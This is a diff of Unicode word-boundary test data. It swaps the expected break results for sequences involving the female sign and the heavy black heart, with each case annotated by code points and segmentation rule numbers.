APOSTROPHE (Single_Quote) ÷ [0.3] +÷ 2764 × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3] +÷ 2764 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3] +÷ 2764 × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3] +÷ 2764 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] +÷ 2764 × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] HEAVY BLACK HEART (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3] ÷ 1F466 ÷ 0001 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] (Other) ÷ [0.3] ÷ 1F466 × 0308 ÷ 0001 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] (Other) ÷ [0.3] ÷ 1F466 ÷ 000D ÷ # ÷ [0.2] BOY (EBG) ÷ [3.2] (CR) ÷ [0.3] @@ -1172,8 +1171,8 @@ ÷ 1F466 × 0308 ÷ 261D ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 1F466 × 1F3FB ÷ # ÷ [0.2] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 1F466 × 0308 × 1F3FB ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 1F466 ÷ 2640 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 1F466 × 0308 ÷ 2640 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 1F466 ÷ 2764 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 1F466 × 0308 ÷ 2764 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 1F466 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F466 × 0308 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 1F466 × 00AD ÷ # ÷ [0.2] BOY (EBG) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1234,8 +1233,8 @@ ÷ 00AD × 0308 ÷ 261D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 00AD ÷ 1F3FB ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 00AD × 0308 ÷ 1F3FB ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 00AD ÷ 2640 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 00AD × 0308 ÷ 2640 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 00AD ÷ 2764 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 00AD × 0308 ÷ 2764 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 00AD ÷ 1F466 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 00AD × 0308 ÷ 1F466 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 00AD × 00AD ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1296,8 +1295,8 @@ ÷ 0300 × 0308 ÷ 261D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0300 ÷ 1F3FB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0300 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0300 ÷ 2640 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0300 × 0308 ÷ 2640 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0300 ÷ 2764 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0300 × 0308 ÷ 2764 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0300 ÷ 1F466 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0300 × 0308 ÷ 1F466 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0300 × 00AD ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1358,8 +1357,8 @@ ÷ 200D × 0308 ÷ 261D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 200D ÷ 1F3FB ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 200D × 0308 ÷ 1F3FB ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 200D × 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 200D × 0308 ÷ 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 200D × 2764 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 200D × 0308 ÷ 2764 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 200D × 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) ÷ [0.3] ÷ 200D × 0308 ÷ 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 200D × 00AD ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1420,8 +1419,8 @@ ÷ 0061 × 2060 × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0061 × 2060 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0061 × 2060 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0061 × 2060 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0061 × 2060 × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0061 × 2060 ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0061 × 2060 × 0308 ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0061 × 2060 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 × 2060 × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 × 2060 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1482,8 +1481,8 @@ ÷ 0061 ÷ 003A × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0061 ÷ 003A ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0061 ÷ 003A × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0061 ÷ 003A ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0061 ÷ 003A × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0061 ÷ 003A ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0061 ÷ 003A × 0308 ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0061 ÷ 003A ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 ÷ 003A × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 ÷ 003A × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1544,8 +1543,8 @@ ÷ 0061 ÷ 0027 × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0061 ÷ 0027 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0061 ÷ 0027 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0061 ÷ 0027 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0061 ÷ 0027 × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0061 ÷ 0027 ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0061 ÷ 0027 × 0308 ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0061 ÷ 0027 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 ÷ 0027 × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 ÷ 0027 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1606,8 +1605,8 @@ ÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0061 ÷ 0027 × 2060 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0061 ÷ 0027 × 2060 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0061 ÷ 0027 × 2060 ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0061 ÷ 0027 × 2060 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 ÷ 0027 × 2060 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1668,8 +1667,8 @@ ÷ 0061 ÷ 002C × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0061 ÷ 002C ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0061 ÷ 002C × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0061 ÷ 002C ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0061 ÷ 002C × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0061 ÷ 002C ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0061 ÷ 002C × 0308 ÷ 2764 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0061 ÷ 002C ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 ÷ 002C × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 ÷ 002C × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1730,8 +1729,8 @@ ÷ 0031 ÷ 003A × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0031 ÷ 003A ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0031 ÷ 003A × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0031 ÷ 003A ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0031 ÷ 003A × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0031 ÷ 003A ÷ 2764 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0031 ÷ 003A × 0308 ÷ 2764 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0031 ÷ 003A ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0031 ÷ 003A × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0031 ÷ 003A × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1792,8 +1791,8 @@ ÷ 0031 ÷ 0027 × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0031 ÷ 0027 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0031 ÷ 0027 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0031 ÷ 0027 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0031 ÷ 0027 × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0031 ÷ 0027 ÷ 2764 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0031 ÷ 0027 × 0308 ÷ 2764 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0031 ÷ 0027 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0031 ÷ 0027 × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0031 ÷ 0027 × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1854,8 +1853,8 @@ ÷ 0031 ÷ 002C × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0031 ÷ 002C ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0031 ÷ 002C × 0308 ÷ 1F3FB ÷ # ÷ [0.2] 